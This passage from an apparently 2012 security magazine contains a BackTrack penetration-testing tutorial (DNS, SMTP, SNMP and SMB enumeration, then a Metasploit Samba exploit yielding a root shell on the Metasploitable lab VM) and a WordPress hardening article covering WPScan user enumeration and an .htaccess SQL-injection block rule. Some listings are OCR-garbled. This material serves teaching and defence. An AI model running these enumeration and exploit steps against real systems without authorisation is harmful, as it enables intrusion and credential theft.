DNS can hold a treasure trove of information. Be it public Internet facing DNS or internal DNS, one of the primary pieces of info you can find is hostnames. These names can be descriptive enough to help triage which targets to go at first. Also, it may show you targets or networks that you didn't know about. Rob Fuller (aka Mubix) has done some really fascinating research on the different bits of information you can glean from DNS. Check out his research at the following link: *http:// www.room362.com/blog/2012/2/3/a-textfiles-approachat-gathering-the-worlds-dns-slides.html*.

From your discovery scanning above you should be able to locate hosts with UDP port 53 open. Those

```
Listing 2. Pentest Via Backtrack II
root@bt:~# nmap -sS -sV 192.168.188.0/24
Starting Nmap 5.61 \text{TEST4} ( <code>http://nmap.org</code> ) at 2012-
                    05-23 13:23 EDT
Warning: Servicescan failed to fill cpe a
                   (subjectlen: 320, devicetypelen:
                    32). Too long? Match string was
                    line 491: d//
Nmap scan report for 192.168.188.1
Host is up (0.00023s latency).
Not shown: 996 closed ports
PORT STATE SERVICE
                              VERSION
21/tcp open ftp
                              Pure-FTPd
22/tcp open ssh
                              OpenSSH 5.9p1 Debian
                  5ubuntu1 (protocol 2.0)
80/tcp open http
                             Apache httpd 2.2.22
                    ((Ubuntu))
902/tcp open ssl/vmware-auth VMware Authentication
                    Daemon 1.10 (Uses VNC, SOAP)
MAC Address: 00:50:56:C0:00:08 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:kernel
```

Listing 3. Pentest Via Backtrack III				
<pre>root@bt:/pentest/enumeration/dns/d dnsenum.pl VERSION:1.2.2</pre>	nsenum# ./dn	senum.pl	hakin9	0.org -f dns-big.txt
hakin9.org				
Host's addresses:				
hakin9.org	5	IN	A	79.125.109.24
Name Servers:				
dns3 home nl	5	TN	Δ	95 211 105 225
dns2 home pl	5	TN	Δ	62 129 252 41
dns2 home pl	5	TN	Δ	62 129 252 40
dns home nl	5	TN	Δ	62 129 252 30
dns.home.pl	5	IN	A	62.129.252.31
Mail (MX) Servers:				
ASPMX2.GOOGLEMAIL.COM	5	IN	A	74.125.43.27
ASPMX.L.GOOGLE.COM	5	IN	A	173.194.68.27
ALT1.ASPMX.L.GOOGLE.COM	5	IN	A	173.194.78.26
ALT2.ASPMX.L.GOOGLE.COM	5	IN	A	173.194.65.27
Trying Zone Transfers and getting	Bind Version	s :		
Trying Zone Transfer for hakin9.org	g on dns2.hom	ne.pl		

dns2.home.pl Bind Version: home.pl dns server admin@home.pl

Trying Zone Transfer **for** hakin9.org on dns3.home.pl ... AXFR record query failed: NOERROR

dns3.home.pl Bind Version: home.pl dns server admin@home.pl

Trying Zone Transfer **for** hakin9.org on dns.home.pl ... AXFR record query failed: NOERROR

dns.home.pl Bind Version: home.pl dns server admin@home.pl Wildcards detected, all subdomains will point to the same IP address, bye.

are prime candidates to perform DNS interrogation against.

The types of information I usually look to find in DNS is mail servers, hostnames that I can use to determine server functions, and sub domains which may yield previously unknown targets or networks. The tool within backtrack I lean on is *dnsenum.pl*.

Dnsenum.pl (within BT5R2 located at /pentest/ enumeration/dns/dnsenum) is a perl script that performs some of the key DNS interrogation operations at once. It can perform forward\reverse DNS brute force lookups, gather whois info, perform zone transfers and sub-domain discovery by common names\netblocks. The tool already has a list of common subdomains, names for bruteforcing within the /pentest/enumeration/ dns/dnsenum directory.

In Listing 3 you'll find a demo use and output examples. The script along with arguments is highlighted in red. I've given the script a target domain (*hakin9.org*) and the $_{-f}$ parameter and specified a file to use for sub domain brute forcing.

SMTP Interrogation

The Simple Mail Transport Protocol (SMTP) is usually interrogated by attackers to try to list usernames and email addresses to aid in creating user lists for brute force attacks on other services. The idea being that usernames (and sometimes passwords) persist across different services and applications. A poorly configured SMTP (mail) server can divulge whether or not a username is valid based on a response code. Attackers will use dictionaries of common usernames and check for a positive response from the SMTP server. There is a script that automates this attack within backtrack called smtp-user-enum.pl located under the /pentest/ enumeration/smtp/smtp-user-enum directory.

Attackers connect to listening SMTP services and attempt to use several different methods to check if a username is correct. Using the SMTP VRFY (verify) command against a username will try to "verify" if that address is correct. The server responds with either a positive or negative response, if not properly hardened.

In Listing 4 you'll see the output of running the script with the VRFY method, a text file called users.txt as the userlist file against the 127.0.0.1 target.

We see in the above output the user "root" exists on that system. Obviously the root user will always exist, this is just to demo the SMTP enumeration script. Notice there are several SMTP commands that the script accepts: VRYF, EXPN, and RCPT. You can set which command is used via the -M switch.

SNMP Interrogation

I hope you see a theme here. We will now look at a *Simple Network Management Protocol* (SNMP) interrogation script that is sitting ready for us to use

```
Listing 4. Pentest Via Backtrack IV
root@bt:/pentest/enumeration/smtp/smtp-user-enum# ./smtp-user-enum.pl -M VRFY -U users.txt -t 127.0.0.1
Starting smtp-user-enum v1.2 ( http://pentestmonkey.net/tools/smtp-user-enum )
                Scan Information
 _____
Mode ..... VRFY
Worker Processes ..... 5
Usernames file ..... users.txt
Target count ..... 1
Username count ..... 5
Target TCP port ..... 25
Query timeout ..... 5 secs
Target domain .....
######## Scan started at Mon May 21 00:48:29 2012 #########
127.0.0.1: root exists
######## Scan completed at Mon May 21 00:48:29 2012 #########
1 results.
5 queries in 1 seconds (5.0 queries / sec)
```

```
Listing 5. Pentest Via Backtrack V
root@bt:/pentest/enumeration/snmp/snmpenum#
                                               -----OUTPUT SNIPPED DUE TO LENGTH
./snmpenum.pl 10.1.17.114 public windows.txt
                                               _____
_____
                                                           DOMAIN
            INSTALLED SOFTWARE
                                               _____
                                               WORKGROUP
VMware Tools
                                               Listing 6. Pentest Via Backtrack VI
WebFldrs
-----OUTPUT SNIPPED DUE TO LENGTH
                                               root@bt:/pentest# smbclient -L 10.1.17.114
_____
           USERS
                                               Enter root's password:
_____
                                               session request to 10.1.17.114 failed (Called name not
                                                             present)
Guest
                                               session request to 10 failed (Called name not present)
Administrator
TsInternetUser
                                               Anonymous login successful
IUSR WIN2000SVR
                                               Domain=[WORKGROUP] OS=[Windows 5.0] Server=[Windows
IWAM WIN2000SVR
                                                              2000 LAN Manager]
NetShowServices
                                                                              Comment
                   _____
                                                         Sharename
                                                                      Type
                                                         _____
                                                                              _____
            RUNNING PROCESSES
                                                                      ____
_____
                                                         IPC$
                                                                     IPC
                                                                             Remote IPC
System Idle Process
                                                         ADMIN$
                                                                      Disk
                                                                              Remote Admin
                                                         CŚ
                                                                      Disk
                                                                             Default share
System
dns.exe
                                               session request to 10.1.17.114 failed (Called name not
dllhost.exe
                                                              present)
                                               session request to 10 failed (Called name not present)
smss.exe
csrss.exe
                                               Anonymous login successful
                                               Domain=[WORKGROUP] OS=[Windows 5.0] Server=[Windows
winlogon.exe
                                                              2000 LAN Manager]
_____
           LISTENING UDP PORTS
_____
                                                            Server
                                                                            Comment
7
                                                            _____
                                                                             _____
9
19
                                                            Workgroup
                                                                           Master
-----OUTPUT SNIPPED DUE TO LENGTH
                                                            _____
                                                                             _____
           SYSTEM INFO
_____
                                               root@bt:/pentest/python/impacket-examples# python
Hardware: x86 Family 6 Model 14 Stepping 5 AT/AT
                                                              samrdump.py 10.1.17.114
COMPATIBLE - Software: Windows 2000 Version 5.0
                                               Retrieving endpoint list from 10.1.17.114
(Build 2195 Uniprocessor Free
                                               Trying protocol 445/SMB...
        LISTENING TCP PORTS
                                               . WIN2000SVR
_____
                                                . Builtin
7
                                               Looking up users in domain WIN2000SVR
9
                                               Found user: Administrator, uid = 500
13
                                               Found user: Guest, uid = 501
                                               Found user: IUSR_WIN2000SVR, uid = 1003
-----OUTPUT SNIPPED DUE TO LENGTH
                                               Found user: IWAM WIN2000SVR, uid = 1004
    _____
                                               Found user: NetShowServices, uid = 1001
            SERVICES
                                               Found user: TsInternetUser, uid = 1000
_____
Messenger
                                               Administrator (500)/Enabled: true
                                               Administrator (500)/Last Logon: Wed, 18 Aug 2010 19:28:32
DNS Client
DNS Server
                                               Administrator (500) /Last Logoff:
```



on BT5R2. It's called snmpenum.pl located under the /pentest/enumeration/snmp/snmpenum directory. The types of information you can get from SNMP are usernames, installed services, operating system versions, and sometimes more. SNMP uses a simple means for authentication of probe requests, namely text strings. The "read" or public string (which ironically is set to literally: public in many default setups) and the "read\ write" or private string (again default set to private oftentimes). If an attacker can guess the SNMP string that attacker can list all sorts of good information. In some extreme cases if the attacker has access to the private string they can change\upload the configuration of devices (like routers and switches). The snmpenum.pl script also has several text files (windows.txt, linux.txt, cisco.txt) that map Management Information Base (MIB) Object Identifiers (OID) values to more easily readable format. So, you'll want to use the correct file for the type of device you're interrogating.

Most commonly SNMP info is used to build more userlists for future brute forcing activities. In some rare instances you may find a router or firewall with a default private string. If that is the case you can use SNMP to TFTP the configuration to your waiting TFTP server, change the password and TFTP the new config back up. Then you can log into the router!

In Listing 5 you'll see the simple use of the script to gather info from a target's SNMP service. I have used the community string "public" and used the windows.txt file since I know the target is a WIN2000 server. I have snipped some of the output because it was very long.

SMB\NFS Interrogation

SMB can sometimes display a myriad of useful information, such as SMB shares that are on a target, usernames, OS version, domain membership, and software installed.

If SMB or NFS shares are anonymously accessible to an attacker or penetration tester they can sometimes hold valuable information that can be used in further attacks, examples being config files, password lists, and SSH keys. The list is endless.

You can simply issue the commands outlined in Listing 6 to list SMB shares on a target machine. Simple press the enter key when prompted for root's password. Also, in Listing 6 you can see that BT5R2 has included Core Security's free samrdump.py python script. You see how it lists the usernames on the target via SMB (the second red highlighted command).

Network File System (NFS) and Apple File System (AFS) should also be inspected for the same types of information as SMB. Usually attackers and penetration testers look for files on publicly available shares that hold sensitive data, specifically usernames and passwords. Going through shares is one of the first things I do on

an internal engagement. I can't tell you how many times I've found configuration files on a system that held administrative credentials within them. That is an easy engagement for sure! As a security professional, you can show system admins or IT management the types of data that an unauthenticated entity can gain access to by simply being on the same network as your assets. This is a good security awareness training aid to say the least. We'll look at AFP and NFS interrogation tools in a later section, when we cover the Metasploit Framework. Stay tuned!

Metasploit

A deep dive tutorial on Metasploit is far beyond the scope of this article. Many of the above mentioned interrogation techniques, and even nmap scanning can be done from within Metasploit, but I decided to show you some of the others tools within BT5R2. However, the Metasploit Framework (MSF) must be touched upon. In this section we'll go into some detail on using Metasploit to exploit vulnerabilities and gain remote access to systems. Metasploit, if you don't know, is a security testing framework created by HD Moore to aid in exploit development and research. It assists security professionals, penetration testers, and hackers in realizing, studying and weaponizing exploits and in gathering data. There is a newer GUI front end for MSF called Metasploit Community Edition (there are commercial versions as well, namely Metasploit pro or Metasploit express from Rapid7).

We'll use the traditional *msfconsole*. I have moved onto preferring the Metasploit Pro GUI now, but the console is easier to write about, since it's all text driven. Besides, it's a classic interface for MSF, and you should learn how to use it. From within BT5R2 open a terminal and type *msfconsole* and then hit enter. It takes a moment to load, so be patient.

Once MSF loads you're at the msf> prompt. After you have discovered a vulnerability (either using manual techniques or from automated scanning) you can check if MSF has a module for it. You can do this by searching the modules on the web, or by typeing in search at the MSF prompt with some keywords. Example, if you type in 'search samaba' than all modules with the 'samba' keyword will be returned. We will attack a VM called *Metasploitable*. This is a purposefully built VM from the Metasploit team meant to be an educational tool to learn how to use Metasploit. I have decided to attack the Samba service on Metasploitable. From scanning I saw it was running Samba smbd 3.X, which has a well known exploit. You'll be able to see all of the relevant commands in Listing 7, but the basic steps are.

 choose the exploit – I found through Internet searching that the exploit is exploit/multi/samba/
Listing 7a. Pentest Via Backtrack VII

msf > search usermap

Matching Modules

Name	Disclosure Date	Rank	Description
<pre>exploit/multi/samba/usermap_script</pre>	2007-05-14	excellent	Samba "username map script" Command Execution

msf > use exploit/multi/samba/usermap script

msf exploit(usermap script) > set RHOST 10.1.17.104

msf exploit(usermap_script) > show payloads

```
Compatible Payloads
```

Name	Disclosure Date	Rank	Description
cmd/unix/bind_inetd		normal	Unix Command Shell, Bind TCP (inetd)
cmd/unix/bind_netcat		normal	Unix Command Shell, Bind TCP (via netcat -e)
<pre>cmd/unix/bind_netcat_ipv6</pre>		normal	Unix Command Shell, Bind TCP (via netcat -e) IPv6
cmd/unix/bind_perl		normal	Unix Command Shell, Bind TCP (via perl)
cmd/unix/bind_perl_ipv6		normal	Unix Command Shell, Bind TCP (via perl) IPv6
cmd/unix/bind_ruby		normal	Unix Command Shell, Bind TCP (via Ruby)
cmd/unix/bind_ruby_ipv6		normal	Unix Command Shell, Bind TCP (via Ruby) IPv6
cmd/unix/generic		normal	Unix Command, Generic command execution
cmd/unix/reverse		normal	Unix Command Shell, Double reverse TCP (telnet)
cmd/unix/reverse_netcat		normal	Unix Command Shell, Reverse TCP (via netcat -e)
cmd/unix/reverse_perl		normal	Unix Command Shell, Reverse TCP (via perl)
cmd/unix/reverse ruby		normal	Unix Command Shell, Reverse TCP (via Ruby)

msf exploit(usermap script) > set payload cmd/unix/bind netcat

```
msf exploit(usermap_script) > show options
```

Module options (exploit/multi/samba/usermap_script):

```
NameCurrent SettingRequiredDescription-------------------RHOST10.1.17.104yesThe target addressRPORT139yesThe target port
```

Payload options (cmd/unix/bind_netcat):

Name	Current Setting	Required	Description
LPORT	4444	yes	The listen port
RHOST	10.1.17.104	no	The target address

```
Listing 7b. Pentest Via Backtrack VII
Exploit target:
   Id Name
      Automatic
   0
msf exploit(usermap script) > exploit
[*] Started bind handler
[*] Command shell session 1 opened (10.1.17.100:54960 -> 10.1.17.104:4444) at 2012-05-23 15:56:08 -0400
id
uid=0(root) gid=0(root)
i f config
eth0
          Link encap:Ethernet HWaddr 00:50:56:a2:38:78
          inet addr:10.1.17.104 Bcast:10.1.17.255 Mask:255.255.255.0
          inet6 addr: fe80::250:56ff:fea2:3878/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST MTU: 1500 Metric: 1
          RX packets:131024 errors:0 dropped:0 overruns:0 frame:0
          TX packets:25716 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:16783028 (16.0 MB) TX bytes:2934700 (2.7 MB)
          Interrupt:17 Base address:0x1400
```

 $\tt usermap_script.$ In MSF you choose the module you want with the 'use' statement.

- choose target the ip or name of the victim machine. You use 'set' statements within MSF to set the module options (RHOST option below)
- choose payload we'll use a generic *nix bind payload, which means I will connect to a listener (below, LPORT is the port that will be listening for my bind connection once the exploit completes)
- execute

Commands worth noting are highlighted for easier review.

The last two commands above (id and ifconfig) prove that I am the root user on the system, and the ip address is my target 10.1.17.104. This is a simple demo of how to use the MSF. Again, the Metasploit Community\Pro GUI is a great tool to interact with Metasploit, I highly suggest you look into it. MSF has many different types of modules, not just exploits. They have auxiliary scanning modules, denial of service modules, information gathering modules, and many more.

Conclusion

This article has scratched the surface of the many tools available with BT5R2. I suggest you download the VM and begin exploring. They say "you don't know

what you don't know", and I believe that to be true. While exploring the tools within BT5R2 you'll discover attacks and techniques that may have been previously unknown to you.

I'd also like to mention that to learn how to use BT5R2 and it's tools to their fullest potential it is obviously helpful to have a practice lab, with machines that are designed to be exploited. The Gh0st Networks Community Lab brought to you SecuraBit is a community driven lab made for penetration testing practice and education. The lab is brand new, the mods over there love to get constructive feedback, and they invite you to come out and practice using BT5R2 in their lab. The URL to get started is: http://www.gh0st.net/wiki/ index.php?title=Main_Page.

NICK POPOVICH



Nick Popovich is an Infosec Professional who has worked in many different areas of security throughout his career. He has been in and worked for the U.S. military. He has also worked for the government and private sector companies focusing on both the offensive and defensive sides of security from attack simulation

and mitigation to incident response and intrusion detection/ prevention.



Harden your Network from the Inside Out



www.netclarity.net

Available through Partners Worldwide

ONDEMAND How Exposed To Hackers Is the WordPress Website You Built?

WordPress is likely the most popular website framework used on the web today. With over 65 million downloads and a very active community you can accomplish many goals with ease using WordPress.

ot only does the standard WordPress package include many cool features but the number of easy to install WP plugins available continues to grow, which in turn continues to multiply the number of uses for WordPress. The problem with so many WordPress installations all with different variations of WordPress themes and WordPress plugins is the fact that many people will launch a WordPress site and think everything is safe and sound moving forward. That is not the case, however. As technologies evolve and hackers figure out new ways to generate money, new holes will be located within the core WordPress code, WordPress plugins, WordPress themes, and in sloppy system administration. The article below will provide you with a basic understanding of the types of attacks to which your WordPress site may be vulnerable, along with various methods to minimize your risk by using basic Linux commands and the tools within Backtrack Linux.

A Short Story About Incorrect WordPress File Permissions & The Possible Damage That Can Follow

You may be thinking that your WordPress site would never be a target for attackers, however, regardless of content, your WordPress blog is a target. (Many of the most effective WordPress exploits I have seen over time typically involve the quantity of breached websites versus the quality of the breach itself.)? One of the more tricky exploits I have seen with WordPress involved an attacker adding some simple PHP code to files on a WordPress server that had permissions set incorrectly which is a very common mistake among do it yourself web developers. The attacker adds the malicious code to specific files within the WordPress file structure, which redirects traffic with a referrer of a set list of search engines. An example of the malicious code in action would be someone searching for XYZ on Google which happens to relate to an article you have written on your WordPress site, so they click the result that takes them to your article, but instead of displaying the article you posted about XYZ, they are instead redirected to another website that is full of ads or full of malicious code that could infect your browser and/or PC. The benefit to the attacker is that they are either making money from the ads, or they are exploiting your users' systems upon being redirected. Regardless of the scenario, the outcome is a horrible experience for the person visiting your website. The genius behind this type of attack is that it is extremely hard to track down and nearly impossible for inexperienced web developers or system administrators to locate. When this type of redirect issue is reported the person troubleshooting the problem typically visits the WordPress site in question and everything appears to be working as expected because they were not visiting the site through Google. Therefore they assume the issue was on the reporting users end. File permissions are extremely important and should be understood and followed when installing and/or managing a Wordpress installation. There are plenty of details on the WordPress Codex pages that can assist anyone not familiar with file permissions. The primary steps to take, however, include making sure files are not owned by the webserver process, setting directories permissions to 755, and setting file permissions to 644. Having the proper file permissions will keep the attacker's WordPress bots at bay.

```
Lisring 1. Enumerate WordPress Usernames Using WPScan In Backtrack Linux
*****
root@bt:/pentest/web/wpscan# ./wpscan.rb -e u[1-25] --url wordpress.example.com
\land \land  // \land / |
 \ \/ \/ / | __/ \__ \ __ |/ __' | __ \
   \/ \/ | | |__/\__|\__,_|_| |_| v1.1
 WordPress Security Scanner by ethicalhack3r.co.uk
Sponsored by the RandomStorm Open Source Initiative
| URL: http://wordpress.example.com
| Started on Wed May 23 11:27:31 2012
[!] The WordPress theme in use is called 'drawar' v1.0
[+] We have identified 1 vulnerabilities for this theme :
| * Title: WooThemes WooFramework Remote Unauthenticated Shortcode Execution
| * Reference: https://gist.github.com/2523147
[!] The WordPress 'http://wordpress.example.com/readme.html' file exists
[!] WordPress version 3.3.2 identified from rss generator
[+] We have identified 1 vulnerabilities from the version number :
| * Title: Wordpress 3.3.1 Multiple CSRF Vulnerabilities
| * Reference: http://www.exploit-db.com/exploits/18791/
[+] Enumerating plugins from passive detection ... 2 found :
 | Name: woo-tumblog
 | Location: http://example.wordpress.com/wp-content/plugins/woo-tumblog/
 | Name: jetpack
 | Location: http://example.wordpress.com/wp-content/plugins/jetpack/
 1
 [ [!] WordPress jetpack plugin SQL Injection Vulnerability
 | * Reference: http://www.exploit-db.com/exploits/18126/
[+] Enumerating usernames ...
We found the following 5 username/s :
 admin
 superadmin
 bob
 wiwi
[+] Finished at Wed May 23 11:27:54 2012
root@bt:/pentest/web/wpscan#
```

Below are two quick examples of what the file permissions should look like on the wp-content folder and the *wp-cache-config.php* file.

Changing File Permissions Example From WordPres Codex

For Directories

For Files

Use Backtrack Linux To Proactively Audit Your WordPress Installation

An exploit of sorts that was initially made public many years back is username enumeration which allows a would be attacker to easily obtain a real time list of users who likely have access to the /wp-admin or administration section of your WordPress site. This doesn't necessarily mean your WordPress site is immediately vulnerable but what it does mean is an attacker now has 50% of the necessary information to gain access to your entire website. There are numerous methods in Backtrack that provide some form of user enumeration including my personal favorite which is called WPScan and which has been specifically created for auditing WordPress sites. It will be a tool we will visit numerous times within this article. The wpscan.rb Ruby script written by Ryan Dewhurst (@ethicalhack3r) is classified as a WordPress vulnerability scanner which checks the security of WordPress installations taking a black box approach. Currently WPScan is the most comprehensive tool available on Backtrack Linux to test various security flaws within WordPress, including username enumeration, WordPress version info, and WordPress plugin info/vulnerabilities. WPScan also provides a method to brute-force WordPress logins once you have enumerated the usernames. To see basic information for WPScan including the list of command line switches available and a couple of example wpscan.rb commands, issue "./wpscan.rb --help" from the /pentest/web/wpscan directory. The first bit of information we will gather from a fake WordPress site will be a list of usernames using WPScan which by default will attempt to enumerate usernames with UID's or user id's 1 through 10. However, a new option in WPScan allows you to specify any range of UID's you prefer, as shown in the example below. Along with the username enumeration we will also get other default information output in our WPScan query which is also shown in the below example.

Enumerate WordPress Usernames Using WPScan In Backtrack Linux

See Listing 1.

Lets first analyze the command that was issued at the top of the above output to provide the results that were returned from WPScan. We issued two switches with the wpscan.rb command including "-e u[1-25]" which tells WPScan to enumerate usernames with UID's 1 thru 25 and "--url wordpress.example.com" which specifies the WordPress site URL. The WPScan output above is divided into four sections below, which include Wordpress theme information/vulnerabilities, basic WordPress information/vulnerabilities, WordPress plugin information/vulnerabilities, and WordPress username information.

WPScan WordPress Theme Information & Vulnerabilties

The wpscan.rb output was able to determine that the theme in use is the drawar theme provided by Woo Themes that it then notes has a vulnerability that allows remote code execution. When following the link in the drawar theme vulnerability output you can see that a would be attacker could execute remote code such as adding a Twitter follow me button on the remote site depending on the drawar theme version. You may or may not have a vulnerability or a list of vulnerabilities listed, depending on the theme name that is enumerated. WPScan is really accurate, however, in enumerating the theme name which provides a would be attacker more information than they had initially.

WPScan Basic WordPress Information & Vulnerabilities

Basic WordPress information is also output that shows a would be attacker the version of WordPress that is running along with any known vulnerabilities within that WordPress version. As you can see in the output above WordPress version 3.3.1 had a CSRF or Cross Site Request Forgery vulnerability that allows would-be attackers access to change data on the site such as Wordpress Post Title using CSRF and the WordPress Quick Edit Function.

WPScan WordPress Plugin Information & Vulnerabilties

Within the WPScan root directory, which is /pentest/ web/wpscan on Backtrack Linux 5, there is a file in the data directory named plugins.txt which has a fairly large list of WordPress plugins that WPScan will query to see if they exist on the target site. Once a plugin has been verified not only will it be output, but the plugin and plugin version will checked against a list of known vulnerabilities and will also output any matches such as the JetPack plugin SQL Injection Vulnerability noted in the example output above.

WPScan WordPress Username Information:

One of the items that really impressed me when I first ran WPScan some time ago was the ability to enumerate usernames from a Wordpress site. While in my opinion this is a security flaw within WordPress that should be resolved, it is still exciting to guery a WordPress site and have the primary admin users returned back to you. Notice that in this example we attempted to enumerate UID 1 through UID 25 and we were returned 25 results that include a user named admin and a user named superadmin. While the usernames themselves are not directly vulnerable, it does provide a would be attacker with 50% of the data necessary to brute force a login to your WordPress site which, if accomplished, would be devastating to your WordPress site. Below we discuss the WordPress username enumeration security flaw in more detail including how to manually enumerate the usernames so you can better understand the basis of automated tools such as WPScan.

How To Manually Enumerate WordPress Login ID's And Usernames

Open the following URL but change the domain to the domain running your WordPress site: URL: *http://www.wordpressexample.com/?author=1*.

If you have not deleted the default admin user created during your WordPress install you will be redirected to a URL similar to the following: URL: *http://www.wordpressexample.com/authors/admin*.

So as you can see you now know that the default admin user still exists, its user id is 1, and the login is actually the default admin. Now if you received an error such as a 404 indicating that this user does not exist you could move right along to the next URL such as the following: URL: http://www.wordpressexample.com/?author=2.

If the above URL is successful in being redirected to something that means you will now know another user id and user name. It would obviously be easy to write a script that would walk through thousands of user ids in a short amount of time and in the end you would know all of the WordPress user id's that are active and their corresponding WordPress logins.

The WPScan application within Backtrack Linux is one of numerous tools available to assist in auditing your WordPress installation. Other tools that are useful include wfuzz, w3af, nmap, and metasploit. These tools will be expanded on during a follow up article discussing auditing WordPress with Backtrack Linux. Now that we see how easy it is to enumerate various data from WordPress, lets look at a couple of methods to begin locking your WordPress site down, so potential attackers are discouraged and move on to another site that will be easier for them to exploit.

Begin Taking Steps To Lock Down Your WordPress Site

Now that you can see how easy it is to locate vulnerabilities within WordPress and gather data about a specific WordPress installation I will now discuss numerous security measures that can be put in place to minimize your WordPress installation's exposure. Below it is discussed how to manually add an entry to .htaccess which will block username enumeration followed by various plugins that provide different security benefits which make exploitation of your WordPress installation more difficult.

How To Defend Against WordPress User ID And Login Enumeration

I have not seen the below fix implemented previously and I am not sure if there are any hidden problems caused by utilizing such an .htaccess entry. For me, however, it is worth the risk, as any issues that may arise from blocking this query would likely be minimal. It would take me much longer to have to restore my entire site from scratch if it were hacked and defaced or destroyed after someone enumerated the WordPress usernames and then brute-forced an administrator login to my WordPress site. I have implemented the solution below on numerous WordPress installations for months without any issues. To block user login enumeration we are going to add a couple lines to the .htaccess file located in the root web directory of your WordPress web site as shown below. You will want to add this near the top of the .htaccess file because if it is added below the normal redirect. it is useless.

Code To Add To .htaccess File To Block WordPress User Enumeration

#####

The code above tells the web server that any request made to the WordPress site matching the query string of "/?author=should be redirected to *http:// www.wordpressexample.com/some-real-dir/*. I have this code right under "ServerSignature Off" which is at the top of the .htaccess file in the WordPress root directory. Once you add these lines to the .htaccess file, user enumeration is now blocked. Continue below for discovering other security measures to take with

your WordPress site. Please note that /some-real-dir/ could be any existing URL on your site or you could make a page that explains that user enumeration or viewing authors in this manner is not allowed for security reasons. It is always best practice to backup any file before making changes to do that and the .htaccess file is no exception.

Minimize WordPress Data Available Such As Block WordPress Version From Displaying

To accomplish the goal of minimizing the WordPress information that is exposed, I install a WordPress plugin called Secure WordPress. A quick search for Secure WordPress on the WordPress plugins site should return the Secure WordPress plugin at the top of the results. Just by installing and activating Secure WordPress you will resolve numerous security holes, including the hole allowing attackers to see your WordPress version. It also provides some protection against malicious URL requests, and removes the Really Simple Discovery link in wp head. I also like to enable all checkboxes except for the Error Messages check box, and one option that is not checked by default but I do check is Windows Live Writer. I would also suggest signing up for WebSiteDefender as you will get a free scan of your web site which can be accomplished via the Secure WordPress settings page.

WordPress Plugin Secure Wordpress Admin View

See Figure 1.

Block Various SQL Injection Attempts To WordPress & Secure Other WP Areas

Another plugin I install is called BulletProof Security and it is also available on the WordPress site in the plugins directory. The WordPress plugin BulletProof Security is a bit more complex as you will first generate .htaccess files for various locations on your WordPress site, and then be required to merge them into existing .htaccess files. Make sure that when you merge the changes that the redirect for author that we previously added stays near the top of the .htaccess file located in the WordPress root directory. BulletProof Security provides a bunch of rules that minimize your exposure to SQL Injection and other nasty attacks. Make sure to backup the current .htaccess files before merging any new changes into them.

Example BulletProof Security Plugin .htaccess Entry

#####

RewriteCond %{QUERY_STRING} (; |<|>|'|"|\)|%0A|%0D|%22| %27|%3C|%3E|%00).*(/*|union|select|insert|drop|delete| update|cast|create|char|convert|alter|declare|order| script|set|md5|benchmark|encode) [NC,OR] ######

There are dozens of .htaccess entries similar to the above example entry. As you can see in the provided example BulletProof security will simply block malicious requests made to your WordPress site such as possible SQL Injection attempts. Keep in mind that implementing any plugin such as BulletProof Security that modifies web requests to your server could cause potential issues on your site so any changes made should be thoroughly tested.

Remove readme.html File In WordPress Root Directory

This one is self-explanatory. During the installation of WordPress a *readme.html* file is generated in the root WordPress directory so make sure to remove it. You can remove this file via FTP or using "rm" from the command line as shown in the below example.

####

#####

Other WordPress Security Plugins To Consider

Depending on the WordPress installation, I also install several other plugins related to security, including the Login Lockdown WordPress plugin, the AntiVirus WordPress plugin, the Login Logger WordPress plugin,

n Secure W	ordPress by WebsiteDefender
Configuration	
Error-Messages	Deactivates tooltip and error message at login of WordPress
WordPress Version	GRemoves version of WordPress in all areas, including feed, not in admin
WordPress Version in Backend	Removes version of WordPress on admin-area for non-admins. Show WordPress version of your blog only to users with the rights to edit plugins.
index.php	Creates an index.php file in /plugins/ and /themes/ to keep it from showing your directory listing
Really Simple Discovery	Remove Really Simple Discovery link in wp_head of the frontend
Windows Live Writer	Remove Windows Live Writer link in wp_head. of the frontend
Core Update	S Remove WordPress Core update for non-admins. Show message of a new WordPress version only to users with the right to update.
Plugin Update	S Remove the plugin update for non-admins. Show message for a new version of a plugin in the install of your blog only to users with the rights to edit plugins.
Theme Update	S Remove the theme update for non-admins. Show message for a new version of a theme in the install of your blog only to users with the rights to edit themes.
WP Version on Scripts/Styles	Removes version of WordPress on the url form scripts and stylesheets only on frontend.
Block bad queries	S Protect WordPress against malicious URL requests
Dashboard RSS widget	${rac{ar{\mathscr{G}}}{\mathscr{G}}}$ Show the WebsiteDefender News dashboard widget
Save Changes »	

Figure 1. WordPress Plugin Secure Wordpress Admin View

Leave a Reply	
Jon	Name (required)
jon@example.com	E-mail (will not be published) (required)
Great article. Ohh I need to also fill successfully.	in the <u>captcha</u> below so if I am a SPAM bot my comment will not be posted
- 14/	11.
F WON	
(C) FW8W	CAPTCHA Code *
*Type the letter/number cor	nbination in the abvoe field before clicking submit.
	Submit Comment

Figure 2. WordPress Comment Form Captcha

and The WP Block Admin WordPress plugin. You should also consider utilizing something like Really Simple Captcha and you should make sure to include a Captcha on any contact form installed on your site, which will also cut down on SPAM. Another item that can become a hassle quickly with WordPress is the amount of SPAM received via comments attached to each WordPress post. To combat this you can install a WordPress plugin such as SI CAPTCHA Anti-Spam which will add a captcha to comments attached to WordPress posts and or WordPress pages as shown in the below example image.

WordPress Comment Form Captcha

Last but not least, make sure permissions are correct throughout the entire WordPress directory. If you provide the incorrect write permissions for vulnerable WordPress files, you are guaranteed to be hacked in a short amount of time (Figure 2).

Keeping Your WordPress Installation Secure Moving Forward

Once the above security measures are firmly in place, the task of defending your WordPress site against potential attackers is still not complete. If you want your WordPress site to be secure on a long term basis, you will need to employ a proactive approach. You will need to continue using tools such as WPScan combined with other relevant tools in Backtrack Linux.. You will also need to update WordPress itself, to update your WordPress plugins, and possibly to use a third party service that runs automated scans against your WordPress site, all performed on a regular basis. PROTECTING INDUSTRIAL CONTROL SYSTEMS FROM ELECTRONIC THREATS

For many years, Joe Weiss has been sounding the alarm regarding the potential adverse impact of the 'law of unintended consequences' on the evolving convergence between industrial control systems technology and information technology. In this informative book, he makes a strong case regarding the need for situational awareness, analytical thinking, dedicated personnel resources with appropriate training, and technical excellence when attempting to protect industrial process controls and SCADA systems from potential malicious or inadvertent cyber incidents."

—**DAVE RAHN**, *Registered Professional Engineer, with 35 years experience.*



FOR US ORDERS: www.momentumpress.net PHONE 800.689.2432

